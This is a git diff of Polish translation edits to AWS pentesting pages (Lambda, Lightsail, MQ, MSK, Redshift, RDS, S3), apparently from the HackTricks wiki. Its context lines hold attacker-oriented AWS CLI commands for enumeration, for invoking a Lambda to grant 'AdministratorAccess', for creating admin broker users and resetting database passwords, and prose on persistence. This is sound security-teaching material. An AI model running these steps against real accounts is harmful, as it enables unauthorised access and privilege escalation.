+Lambda może mieć **kilka wersji**.\
+Może mieć **więcej niż 1** wersję udostępnioną za pomocą **aliasów**. **Wagi** **każdej** z **wersji** udostępnionych w aliasie zdecydują, **który alias otrzyma wywołanie** (może to być na przykład 90%-10%).\
+Jeśli kod **jednego** z aliasów jest **vulnerable**, możesz wysyłać **żądania, aż podatna** wersja otrzyma exploit.
 
 ![](<../../../images/image (223).png>)
 
 ### Polityki zasobów
 
-Polityki zasobów Lambda pozwalają na **udzielanie dostępu innym usługom/kontom do wywoływania** lambdy na przykład.\
-Na przykład, oto polityka, która pozwala **każdemu na dostęp do lambdy eksponowanej za pomocą URL**:
+Polityki zasobów Lambda pozwalają na **udzielenie dostępu innym usługom/kontom do wywoływania** lambdy na przykład.\
+Na przykład, oto polityka, która pozwala **każdemu na dostęp do lambdy udostępnionej za pomocą URL**:
 
 <figure><img src="https://lh4.googleusercontent.com/4PNFKBdzr3nMrPqeKkTslgwWDKxkXMdQ1SNdv7NPHykj3GX8wODrQyXOFbjk4fxHfZ8pDm5ijWgk2Vq2EGXiPRT3TQfZf1fHycvdEKBuDxJDYos1CJeMHXSeg86ZB-Ol7CNtten6xkVFQj6AhDUEWNQJrQ=s2048" alt=""><figcaption></figcaption></figure>
 
@@ -29,31 +29,31 @@ Lub to, aby pozwolić API Gateway na wywołanie:
 
 <figure><img src="https://lh3.googleusercontent.com/Su0JlR0wBqb-99Z4N_2-_kMlX0Xzx2n_GpZuOPW5IeXR3FYbm8OHFDM3Ora1BpXiSjHpDVUlq4yEyXwaI3nBuze6DJ-wRf2ATsCuWbq0wuBCd34E9uIpqwheE6Cc_PopviI_93O_j2ZKXc1-AJtsBoLVUw=s2048" alt=""><figcaption></figcaption></figure>
 
-### Proxysy bazy danych Lambda
+### Proxies bazy danych Lambda
 
-Gdy jest **setki** **równoległych żądań lambdy**, jeśli każde z nich musi **połączyć się i zamknąć połączenie z bazą danych**, to po prostu nie zadziała (lambdy są bezstanowe, nie mogą utrzymywać otwartych połączeń).\
+Gdy jest **setki** **równoległych żądań lambda**, jeśli każde z nich musi **połączyć się i zamknąć połączenie z bazą danych**, to po prostu nie zadziała (lambdy są bezstanowe, nie mogą utrzymywać otwartych połączeń).\
 Wtedy, jeśli Twoje **funkcje Lambda współdziałają z RDS Proxy zamiast** z instancją bazy danych. Obsługuje pulowanie połączeń niezbędne do skalowania wielu równoległych połączeń tworzonych przez równoległe funkcje Lambda. To pozwala Twoim aplikacjom Lambda na **ponowne wykorzystanie istniejących połączeń**, zamiast tworzenia nowych połączeń dla każdego wywołania funkcji.
 
 ### Systemy plików EFS Lambda
 
-Aby zachować, a nawet dzielić dane, **Lambdy mogą uzyskiwać dostęp do EFS i montować je**, aby Lambda mogła z niego czytać i pisać.
+Aby zachować i nawet dzielić dane, **Lambdy mogą uzyskiwać dostęp do EFS i montować je**, aby Lambda mogła z nich czytać i pisać.
 
 ### Warstwy Lambda
 
-Warstwa Lambda to archiwum .zip, które **może zawierać dodatkowy kod** lub inne treści. Warstwa może zawierać biblioteki, [niestandardowe środowisko uruchomieniowe](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), dane lub pliki konfiguracyjne.
+Warstwa Lambda to archiwum .zip, które **może zawierać dodatkowy kod** lub inne treści. Warstwa może zawierać biblioteki, [niestandardowy runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), dane lub pliki konfiguracyjne.
 
 Można dołączyć do **pięciu warstw na funkcję**. Gdy dołączasz warstwę do funkcji, **zawartość jest wyodrębniana do katalogu `/opt`** w środowisku wykonawczym.
 
 Z **domyślnie**, **warstwy**, które tworzysz, są **prywatne** dla Twojego konta AWS. Możesz zdecydować się na **udostępnienie** warstwy innym kontom lub **uczynić** warstwę **publiczną**. Jeśli Twoje funkcje korzystają z warstwy, którą opublikowało inne konto, Twoje funkcje mogą **nadal korzystać z wersji warstwy po jej usunięciu lub po cofnięciu Twojego dostępu do warstwy**. Jednak nie możesz utworzyć nowej funkcji ani zaktualizować funkcji korzystających z usuniętej wersji warstwy.
 
-Funkcje wdrożone jako obraz kontenera nie używają warstw. Zamiast tego pakujesz swoje preferowane środowisko uruchomieniowe, biblioteki i inne zależności do obrazu kontenera podczas budowania obrazu.
+Funkcje wdrożone jako obraz kontenera nie używają warstw. Zamiast tego pakujesz preferowany runtime, biblioteki i inne zależności do obrazu kontenera podczas budowania obrazu.
 
 ### Rozszerzenia Lambda
 
-Rozszerzenia Lambda wzmacniają funkcje, integrując się z różnymi **narzędziami monitorującymi, obserwacyjnymi, bezpieczeństwa i zarządzania**. Te rozszerzenia, dodawane za pomocą [.zip archiwów przy użyciu warstw Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) lub zawarte w [wdrożeniach obrazów kontenerów](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), działają w dwóch trybach: **wewnętrznym** i **zewnętrznym**.
+Rozszerzenia Lambda wzbogacają funkcje, integrując się z różnymi **narzędziami monitorującymi, obserwacyjnymi, bezpieczeństwa i zarządzania**. Te rozszerzenia, dodawane za pomocą [.zip archiwów przy użyciu warstw Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) lub zawarte w [wdrożeniach obrazów kontenerów](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), działają w dwóch trybach: **wewnętrznym** i **zewnętrznym**.
 
-- **Wewnętrzne rozszerzenia** łączą się z procesem uruchomieniowym, manipulując jego uruchomieniem za pomocą **zmiennych środowiskowych specyficznych dla języka** i **skryptów opakowujących**. Ta personalizacja dotyczy różnych środowisk uruchomieniowych, w tym **Java Correto 8 i 11, Node.js 10 i 12 oraz .NET Core 3.1**.
-- **Zewnętrzne rozszerzenia** działają jako oddzielne procesy, utrzymując zgodność z cyklem życia funkcji Lambda. Są kompatybilne z różnymi środowiskami uruchomieniowymi, takimi jak **Node.js 10 i 12, Python 3.7 i 3.8, Ruby 2.5 i 2.7, Java Corretto 8 i 11, .NET Core 3.1** oraz **niestandardowe środowiska uruchomieniowe**.
+- **Wewnętrzne rozszerzenia** łączą się z procesem runtime, manipulując jego uruchomieniem za pomocą **zmiennych środowiskowych specyficznych dla języka** i **skryptów opakowujących**. Ta personalizacja dotyczy różnych runtime'ów, w tym **Java Correto 8 i 11, Node.js 10 i 12 oraz .NET Core 3.1**.
+- **Zewnętrzne rozszerzenia** działają jako oddzielne procesy, utrzymując zgodność z cyklem życia funkcji Lambda. Są kompatybilne z różnymi runtime'ami, takimi jak **Node.js 10 i 12, Python 3.7 i 3.8, Ruby 2.5 i 2.7, Java Corretto 8 i 11, .NET Core 3.1** oraz **niestandardowymi runtime'ami**.
 
 ### Enumeracja
 ```bash
@@ -103,12 +103,12 @@ aws lambda invoke --function-name FUNCTION_NAME /tmp/out
 ## user_name = event['user_name']
 aws lambda invoke --function-name <name> --cli-binary-format raw-in-base64-out --payload '{"policy_names": ["AdministratorAccess], "user_name": "sdf"}' out.txt
 ```
-#### Poprzez ujawniony URL
+#### Poprzez wystawiony URL
 ```bash
 aws lambda list-function-url-configs --function-name <function_name> #Get lambda URL
 aws lambda get-function-url-config   --function-name <function_name> #Get lambda URL
 ```
-#### Call Lambda function via URL
+#### Wywołaj funkcję Lambda za pomocą URL
 
 Teraz czas, aby znaleźć możliwe funkcje lambda do wykonania:
 ```
@@ -122,7 +122,7 @@ aws --region us-west-2 --profile level6 lambda get-policy --function-name Level6
 ```
 ![](<../../../images/image (102).png>)
 
-Teraz, gdy znasz nazwę i identyfikator, możesz uzyskać nazwę:
+Teraz, gdy znasz nazwę i ID, możesz uzyskać nazwę:
 ```bash
 aws --profile level6 --region us-west-2 apigateway get-stages --rest-api-id "s33ppypa75"
 ```
@@ -134,7 +134,7 @@ A na koniec wywołaj funkcję, uzyskując dostęp (zauważ, że ID, Nazwa i nazw
 
 #### Inne wyzwalacze
 
-Istnieje wiele innych źródeł, które mogą wyzwalać lambdę
+Istnieje wiele innych źródeł, które mogą wyzwolić lambdę
 
 <figure><img src="../../../images/image (167).png" alt=""><figcaption></figcaption></figure>
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md
index 419db322b..b7117b56e 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md
@@ -5,7 +5,7 @@
 ## AWS - Lightsail
 
 Amazon Lightsail oferuje **łatwy**, lekki sposób dla nowych użytkowników chmury, aby skorzystać z usług obliczeniowych AWS. Umożliwia wdrażanie powszechnych i niestandardowych usług internetowych w ciągu kilku sekund za pomocą **VM** (**EC2**) i **kontenerów**.\
-To jest **minimalne EC2 + Route53 + ECS**.
+To **minimalne EC2 + Route53 + ECS**.
 
 ### Enumeration
 ```bash
@@ -28,7 +28,7 @@ aws lightsail get-load-balancers
 aws lightsail get-static-ips
 aws lightsail get-key-pairs
 ```
-### Analiza Migawki
+### Analiza migawków
 
 Możliwe jest generowanie **migawków instancji i baz danych relacyjnych z lightsail**. Dlatego możesz je sprawdzić w ten sam sposób, w jaki możesz sprawdzić [**migawki EC2**](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/#ebs) i [**migawki RDS**](aws-relational-database-rds-enum.md#enumeration).
 
@@ -42,7 +42,7 @@ Możliwe jest generowanie **migawków instancji i baz danych relacyjnych z light
 ../aws-privilege-escalation/aws-lightsail-privesc.md
 {{#endref}}
 
-### Post Eksploatacja
+### Post Exploitation
 
 {{#ref}}
 ../aws-post-exploitation/aws-lightsail-post-exploitation.md
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md
index e061a2fa3..489763dda 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md
@@ -6,7 +6,7 @@
 
 ### Wprowadzenie do brokerów wiadomości
 
-**Brokerzy wiadomości** działają jako pośrednicy, ułatwiając komunikację między różnymi systemami oprogramowania, które mogą być zbudowane na różnych platformach i zaprogramowane w różnych językach. **Amazon MQ** upraszcza wdrażanie, obsługę i utrzymanie brokerów wiadomości na AWS. Oferuje zarządzane usługi dla **Apache ActiveMQ** i **RabbitMQ**, zapewniając bezproblemowe dostarczanie i automatyczne aktualizacje wersji oprogramowania.
+**Brokerzy wiadomości** działają jako pośrednicy, ułatwiając komunikację między różnymi systemami oprogramowania, które mogą być zbudowane na różnych platformach i programowane w różnych językach. **Amazon MQ** upraszcza wdrażanie, obsługę i utrzymanie brokerów wiadomości na AWS. Oferuje zarządzane usługi dla **Apache ActiveMQ** i **RabbitMQ**, zapewniając bezproblemowe dostarczanie i automatyczne aktualizacje wersji oprogramowania.
 
 ### AWS - RabbitMQ
 
@@ -48,7 +48,7 @@ aws mq list-configurations
 aws mq create-user --broker-id <value> --password <value> --username <value> --console-access
 ```
 > [!WARNING]
-> TODO: Wskazać, jak enumerować RabbitMQ i ActiveMQ wewnętrznie oraz jak nasłuchiwać na wszystkich kolejkach i wysyłać dane (wyślij PR, jeśli wiesz, jak to zrobić)
+> TODO: Wskaź, jak enumerować RabbitMQ i ActiveMQ wewnętrznie oraz jak nasłuchiwać na wszystkich kolejkach i wysyłać dane (wyślij PR, jeśli wiesz, jak to zrobić)
 
 ## Privesc
 
@@ -56,17 +56,17 @@ aws mq create-user --broker-id <value> --password <value> --username <value> --c
 ../aws-privilege-escalation/aws-mq-privesc.md
 {{#endref}}
 
-## Dostęp bez uwierzytelnienia
+## Unauthenticated Access
 
 {{#ref}}
 ../aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md
 {{#endref}}
 
-## Utrzymywanie
+## Persistence
 
-Jeśli znasz dane uwierzytelniające do dostępu do konsoli internetowej RabbitMQ, możesz utworzyć nowego użytkownika z uprawnieniami administratora.
+Jeśli znasz dane logowania do konsoli internetowej RabbitMQ, możesz utworzyć nowego użytkownika z uprawnieniami administratora.
 
-## Odniesienia
+## References
 
 - [https://www.cloudamqp.com/blog/part1-rabbitmq-for-beginners-what-is-rabbitmq.html](https://www.cloudamqp.com/blog/part1-rabbitmq-for-beginners-what-is-rabbitmq.html)
 - [https://activemq.apache.org/](https://activemq.apache.org/)
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md
index 27166293a..cd8da2f41 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md
@@ -6,7 +6,7 @@
 
 **Amazon Managed Streaming for Apache Kafka (Amazon MSK)** to usługa, która jest w pełni zarządzana, ułatwiająca rozwój i realizację aplikacji przetwarzających dane strumieniowe za pomocą **Apache Kafka**. Operacje w zakresie kontroli, w tym tworzenie, aktualizacja i usuwanie **klastrów**, są oferowane przez Amazon MSK. Usługa pozwala na wykorzystanie operacji **data-plane** Apache Kafka, obejmujących produkcję i konsumpcję danych. Działa na **otwartych wersjach Apache Kafka**, zapewniając zgodność z istniejącymi aplikacjami, narzędziami i wtyczkami zarówno od partnerów, jak i **społeczności Apache Kafka**, eliminując potrzebę wprowadzania zmian w kodzie aplikacji.
 
-Pod względem niezawodności, Amazon MSK jest zaprojektowany do **automatycznego wykrywania i odzyskiwania z powszechnych scenariuszy awarii klastra**, zapewniając, że aplikacje producentów i konsumentów kontynuują swoje działania związane z zapisywaniem i odczytywaniem danych z minimalnymi zakłóceniami. Ponadto ma na celu optymalizację procesów replikacji danych, starając się **ponownie wykorzystać pamięć masową zastąpionych brokerów**, co minimalizuje ilość danych, które muszą być replikowane przez Apache Kafka.
+Pod względem niezawodności, Amazon MSK jest zaprojektowany do **automatycznego wykrywania i odzyskiwania z powszechnych scenariuszy awarii klastra**, zapewniając, że aplikacje producentów i konsumentów kontynuują swoje działania związane z zapisywaniem i odczytywaniem danych z minimalnymi zakłóceniami. Ponadto ma na celu optymalizację procesów replikacji danych, starając się **ponownie wykorzystać pamięć zastąpionych brokerów**, co minimalizuje ilość danych, które muszą być replikowane przez Apache Kafka.
 
 ### **Typy**
 
@@ -15,7 +15,7 @@ AWS pozwala na tworzenie 2 typów klastrów Kafka: Provisioned i Serverless.
 Z punktu widzenia atakującego należy wiedzieć, że:
 
 - **Serverless nie może być bezpośrednio publiczny** (może działać tylko w VPN bez publicznie wystawionego IP). Jednak **Provisioned** można skonfigurować, aby uzyskać **publiczny IP** (domyślnie tego nie robi) i skonfigurować **grupę zabezpieczeń**, aby **ujawnić** odpowiednie porty.
-- **Serverless** **obsługuje tylko IAM** jako metodę uwierzytelniania. **Provisioned** obsługuje uwierzytelnianie SASL/SCRAM (**hasło**), uwierzytelnianie **IAM**, uwierzytelnianie AWS **Certificate** Manager (ACM) oraz **dostęp nieautoryzowany**.
+- **Serverless** **obsługuje tylko IAM** jako metodę uwierzytelniania. **Provisioned** obsługuje uwierzytelnianie SASL/SCRAM (**hasło**), uwierzytelnianie **IAM**, uwierzytelnianie AWS **Certificate** Manager (ACM) oraz dostęp **nieautoryzowany**.
 - Należy zauważyć, że nie jest możliwe publiczne ujawnienie Provisioned Kafka, jeśli dostęp nieautoryzowany jest włączony.
 
 ### Enumeration
@@ -42,7 +42,7 @@ aws kafka describe-configuration-revision --arn <config-arn> --revision <version
 # If using SCRAN authentication, get used AWS secret name (not secret value)
 aws kafka list-scram-secrets --cluster-arn <cluster-arn>
 ```
-### Dostęp IAM do Kafka (w trybie serverless)
+### Dostęp IAM do Kafka (w serverless)
 ```bash
 # Guide from https://docs.aws.amazon.com/msk/latest/developerguide/create-serverless-cluster.html
 # Download Kafka
@@ -86,7 +86,7 @@ kafka_2.12-2.8.1/bin/kafka-console-consumer.sh --bootstrap-server $BS --consumer
 
 ### Persistence
 
-Jeśli **masz dostęp do VPC**, w którym znajduje się Provisioned Kafka, możesz **włączyć nieautoryzowany dostęp**, jeśli **uwierzytelnianie SASL/SCRAM**, **odczytać** hasło z sekretu, nadać **innemu kontrolowanemu użytkownikowi uprawnienia IAM** (jeśli używane są IAM lub serverless) lub utrzymać się przy **certyfikatach**.
+Jeśli **masz dostęp do VPC**, w którym znajduje się Provisioned Kafka, możesz **włączyć nieautoryzowany dostęp**, jeśli **uwierzytelnianie SASL/SCRAM**, **odczytać** hasło z sekretu, nadać **innemu kontrolowanemu użytkownikowi uprawnienia IAM** (jeśli używane są IAM lub serverless) lub utrzymać **certyfikaty**.
 
 ## References
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md
index 7d2d08108..4e9598d74 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md
@@ -4,14 +4,14 @@
 
 ## Directconnect
 
-Pozwala na **połączenie prywatnej sieci korporacyjnej z AWS** (aby móc skompromitować instancję EC2 i uzyskać dostęp do sieci korporacyjnej).
+Pozwala na **połączenie prywatnej sieci korporacyjnej z AWS** (tak aby można było skompromitować instancję EC2 i uzyskać dostęp do sieci korporacyjnej).
 ```
 aws directconnect describe-connections
 aws directconnect describe-interconnects
 aws directconnect describe-virtual-gateways
 aws directconnect describe-virtual-interfaces
 ```
-## Support
+## Wsparcie
 
 W AWS możesz uzyskać dostęp do bieżących i wcześniejszych przypadków wsparcia za pośrednictwem API
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md
index 45709e5d9..dce99abb0 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md
@@ -4,45 +4,7 @@
 
 ## Amazon Redshift
 
-Redshift to w pełni zarządzana usługa, która może skalować się do ponad petabajta, używana jako **hurtownia danych dla rozwiązań big data**. Używając klastrów Redshift, możesz przeprowadzać analizy na swoich zbiorach danych za pomocą szybkich narzędzi zapytań opartych na SQL i aplikacji do analizy biznesowej, aby uzyskać lepsze zrozumienie wizji dla swojego biznesu.
-
-**Redshift oferuje szyfrowanie w spoczynku, używając czteropoziomowej hierarchii kluczy szyfrujących, korzystając z KMS lub CloudHSM do zarządzania najwyższym poziomem kluczy**. **Gdy szyfrowanie jest włączone dla twojego klastra, nie można go wyłączyć i odwrotnie**. Gdy masz nieszyfrowany klaster, nie można go zaszyfrować.
-
-Szyfrowanie dla twojego klastra może odbyć się tylko podczas jego tworzenia, a po zaszyfrowaniu dane, metadane i wszelkie migawki są również szyfrowane. Poziomy hierarchii kluczy szyfrujących są następujące: **poziom pierwszy to klucz główny, poziom drugi to klucz szyfrowania klastra, CEK, poziom trzeci to klucz szyfrowania bazy danych, DEK, a na końcu poziom czwarty to same klucze szyfrowania danych**.
-
-### KMS
-
-Podczas tworzenia swojego klastra możesz wybrać **domyślny klucz KMS** dla Redshift lub wybrać swój **własny CMK**, co daje ci większą elastyczność w kontroli klucza, szczególnie z perspektywy audytowej.
-
-Domyślny klucz KMS dla Redshift jest automatycznie tworzony przez Redshift za pierwszym razem, gdy opcja klucza jest wybrana i używana, i jest w pełni zarządzany przez AWS.
-
-Ten klucz KMS jest następnie szyfrowany kluczem głównym CMK, poziom pierwszy. Ten zaszyfrowany klucz danych KMS jest następnie używany jako klucz szyfrowania klastra, CEK, poziom drugi. Ten CEK jest następnie wysyłany przez KMS do Redshift, gdzie jest przechowywany oddzielnie od klastra. Redshift następnie wysyła ten zaszyfrowany CEK do klastra przez bezpieczny kanał, gdzie jest przechowywany w pamięci.
-
-Redshift następnie prosi KMS o odszyfrowanie CEK, poziom drugi. Ten odszyfrowany CEK jest następnie również przechowywany w pamięci. Redshift następnie tworzy losowy klucz szyfrowania bazy danych, DEK, poziom trzeci, i ładuje go do pamięci klastra. Odszyfrowany CEK w pamięci następnie szyfruje DEK, który również jest przechowywany w pamięci.
-
-Ten zaszyfrowany DEK jest następnie wysyłany przez bezpieczny kanał i przechowywany w Redshift oddzielnie od klastra. Zarówno CEK, jak i DEK są teraz przechowywane w pamięci klastra zarówno w formie zaszyfrowanej, jak i odszyfrowanej. Odszyfrowany DEK jest następnie używany do szyfrowania kluczy danych, poziom czwarty, które są losowo generowane przez Redshift dla każdego bloku danych w bazie danych.
-
-Możesz użyć AWS Trusted Advisor, aby monitorować konfigurację swoich koszy Amazon S3 i upewnić się, że logowanie koszy jest włączone, co może być przydatne do przeprowadzania audytów bezpieczeństwa i śledzenia wzorców użycia w S3.
-
-### CloudHSM
-
-<details>
-
-<summary>Używanie Redshift z CloudHSM</summary>
-
-Podczas pracy z CloudHSM w celu przeprowadzenia szyfrowania, najpierw musisz skonfigurować zaufane połączenie między swoim klientem HSM a Redshift, używając certyfikatów klienta i serwera.
-
-To połączenie jest wymagane do zapewnienia bezpiecznej komunikacji, umożliwiając przesyłanie kluczy szyfrujących między twoim klientem HSM a klastrami Redshift. Używając losowo wygenerowanej pary kluczy prywatnych i publicznych, Redshift tworzy publiczny certyfikat klienta, który jest szyfrowany i przechowywany przez Redshift. Musi być on pobrany i zarejestrowany w twoim kliencie HSM oraz przypisany do odpowiedniej partycji HSM.
-
-Następnie musisz skonfigurować Redshift z następującymi danymi swojego klienta HSM: adres IP HSM, nazwa partycji HSM, hasło partycji HSM oraz publiczny certyfikat serwera HSM, który jest szyfrowany przez CloudHSM przy użyciu wewnętrznego klucza głównego. Po podaniu tych informacji, Redshift potwierdzi i zweryfikuje, że może połączyć się i uzyskać dostęp do partycji deweloperskiej.
-
-Jeśli twoje wewnętrzne polityki bezpieczeństwa lub kontrole zarządzania nakazują, abyś zastosował rotację kluczy, to jest to możliwe z Redshift, umożliwiając ci rotację kluczy szyfrujących dla zaszyfrowanych klastrów, jednak musisz być świadomy, że podczas procesu rotacji klucz będzie niedostępny przez bardzo krótki czas, dlatego najlepiej jest rotować klucze tylko wtedy, gdy jest to konieczne, lub jeśli uważasz, że mogły zostać skompromitowane.
-
-Podczas rotacji Redshift obróci CEK dla twojego klastra i dla wszelkich kopii zapasowych tego klastra. Obróci DEK dla klastra, ale nie jest możliwe obrócenie DEK dla migawek przechowywanych w S3, które zostały zaszyfrowane przy użyciu DEK. Umieści klaster w stanie 'rotacji kluczy', aż proces zostanie zakończony, kiedy status powróci do 'dostępny'.
-
-</details>
-
-### Enumeration
+Redshift to w pełni zarządzana usługa, która może skalować się do ponad petabajta, używana jako **hurtownia danych dla rozwiązań big data**. Używając klastrów Redshift, możesz przeprowadzać analizy na swoich zbiorach danych za pomocą szybkich narzędzi zapytań opartych na SQL i aplikacji analitycznych, aby lepiej zrozumieć wizję swojego biznesu
 ```bash
 # Get clusters
 aws redshift describe-clusters
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md
index 6229a0ee5..fd092b5e1 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md
@@ -1,18 +1,18 @@
-# AWS - Relational Database (RDS) Enum
+# AWS - Enum bazy danych relacyjnych (RDS)
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## Podstawowe informacje
 
-**Relational Database Service (RDS)** oferowane przez AWS jest zaprojektowane w celu uproszczenia wdrażania, obsługi i skalowania **relacyjnej bazy danych w chmurze**. Usługa ta oferuje zalety efektywności kosztowej i skalowalności, automatyzując pracochłonne zadania, takie jak provisionowanie sprzętu, konfiguracja bazy danych, łatanie i tworzenie kopii zapasowych.
+**Relational Database Service (RDS)** oferowane przez AWS jest zaprojektowane w celu uproszczenia wdrażania, obsługi i skalowania **bazy danych relacyjnej w chmurze**. Usługa ta oferuje zalety efektywności kosztowej i skalowalności, automatyzując pracochłonne zadania, takie jak provisionowanie sprzętu, konfiguracja bazy danych, łatanie i tworzenie kopii zapasowych.
 
-AWS RDS obsługuje różne powszechnie używane silniki relacyjnych baz danych, w tym MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server i Amazon Aurora, z kompatybilnością zarówno dla MySQL, jak i PostgreSQL.
+AWS RDS obsługuje różne powszechnie używane silniki baz danych relacyjnych, w tym MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server i Amazon Aurora, z kompatybilnością zarówno dla MySQL, jak i PostgreSQL.
 
 Kluczowe cechy RDS obejmują:
 
 - **Zarządzanie instancjami baz danych** jest uproszczone.
 - Tworzenie **replik odczytu** w celu zwiększenia wydajności odczytu.
-- Konfiguracja **wdrożeń w wielu strefach dostępności (AZ)** w celu zapewnienia wysokiej dostępności i mechanizmów przełączania awaryjnego.
+- Konfiguracja **wielostrefowych wdrożeń (AZ)** w celu zapewnienia wysokiej dostępności i mechanizmów przełączania awaryjnego.
 - **Integracja** z innymi usługami AWS, takimi jak:
 - AWS Identity and Access Management (**IAM**) dla solidnej kontroli dostępu.
 - AWS **CloudWatch** dla kompleksowego monitorowania i metryk.
@@ -46,7 +46,7 @@ Ponadto, **port bazy danych może być również modyfikowany**.
 
 **Szyfrowanie jest włączone domyślnie** przy użyciu zarządzanego klucza AWS (można wybrać CMK zamiast tego).
 
-Włączając szyfrowanie, włączasz **szyfrowanie w spoczynku dla swojego przechowywania, migawków, replik odczytu i kopii zapasowych**. Klucze do zarządzania tym szyfrowaniem mogą być wydawane przy użyciu **KMS**.\
+Włączając swoje szyfrowanie, włączasz **szyfrowanie w spoczynku dla swojego przechowywania, migawków, replik odczytu i kopii zapasowych**. Klucze do zarządzania tym szyfrowaniem mogą być wydawane przy użyciu **KMS**.\
 Nie można dodać tego poziomu szyfrowania po utworzeniu bazy danych. **Musisz to zrobić podczas jej tworzenia**.
 
 Jednak istnieje **obejście, które pozwala na szyfrowanie nieszyfrowanej bazy danych w następujący sposób**. Możesz utworzyć migawkę swojej nieszyfrowanej bazy danych, utworzyć zaszyfrowaną kopię tej migawki, użyć tej zaszyfrowanej migawki do utworzenia nowej bazy danych, a następnie, w końcu, twoja baza danych będzie zaszyfrowana.
@@ -66,7 +66,7 @@ Aby skorzystać z TDE, wymagane są pewne wstępne kroki:
 3. **Tryby szyfrowania TDE**:
 - TDE oferuje dwa odrębne tryby szyfrowania:
 - **Szyfrowanie przestrzeni tabel TDE**: Ten tryb szyfruje całe tabele, zapewniając szerszy zakres ochrony danych.
-- **Szyfrowanie kolumn TDE**: Ten tryb koncentruje się na szyfrowaniu konkretnych, indywidualnych elementów w bazie danych, co pozwala na bardziej szczegółową kontrolę nad tym, jakie dane są szyfrowane.
+- **Szyfrowanie kolumn TDE**: Ten tryb koncentruje się na szyfrowaniu konkretnych, indywidualnych elementów w bazie danych, umożliwiając bardziej szczegółową kontrolę nad tym, jakie dane są szyfrowane.
 
 Zrozumienie tych wymagań wstępnych i operacyjnych zawirowań TDE jest kluczowe dla skutecznego wdrażania i zarządzania szyfrowaniem w RDS, zapewniając zarówno bezpieczeństwo danych, jak i zgodność z niezbędnymi standardami.
 
@@ -111,7 +111,7 @@ aws rds modify-db-instance --db-instance-identifier <ID> --master-user-password
 ../aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md
 {{#endref}}
 
-### Podwyższenie uprawnień
+### Podniesienie uprawnień
 
 {{#ref}}
 ../aws-privilege-escalation/aws-rds-privesc.md
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md
index 4eaef94c4..6c00ee223 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md
@@ -6,7 +6,7 @@
 
 Amazon S3 to usługa, która pozwala **przechowywać duże ilości danych**.
 
-Amazon S3 oferuje wiele opcji, aby osiągnąć **ochronę** danych w spoczynku. Opcje te obejmują **Uprawnienia** (Polityka), **Szyfrowanie** (po stronie klienta i serwera), **Wersjonowanie kubełków** oraz **usuwanie** oparte na **MFA**. **Użytkownik może włączyć** dowolną z tych opcji, aby osiągnąć ochronę danych. **Replikacja danych** to wewnętrzna funkcja AWS, w której **S3 automatycznie replikuje każdy obiekt we wszystkich Strefach Dostępności**, a organizacja nie musi jej w tym przypadku włączać.
+Amazon S3 oferuje wiele opcji, aby osiągnąć **ochronę** danych w spoczynku. Opcje te obejmują **Uprawnienia** (Polityka), **Szyfrowanie** (po stronie klienta i serwera), **Wersjonowanie kubełków** oraz **usuwanie** oparte na **MFA**. **Użytkownik może włączyć** dowolną z tych opcji, aby osiągnąć ochronę danych. **Replikacja danych** to wewnętrzna funkcja AWS, w której **S3 automatycznie replikuje każdy obiekt we wszystkich Strefach Dostępności**, a organizacja nie musi jej włączać w tym przypadku.
 
 Dzięki uprawnieniom opartym na zasobach możesz definiować uprawnienia dla podkatalogów swojego kubełka osobno.
 
@@ -26,14 +26,14 @@ Możliwe jest wygenerowanie pre-signed URL, który zazwyczaj może być używany
 ```
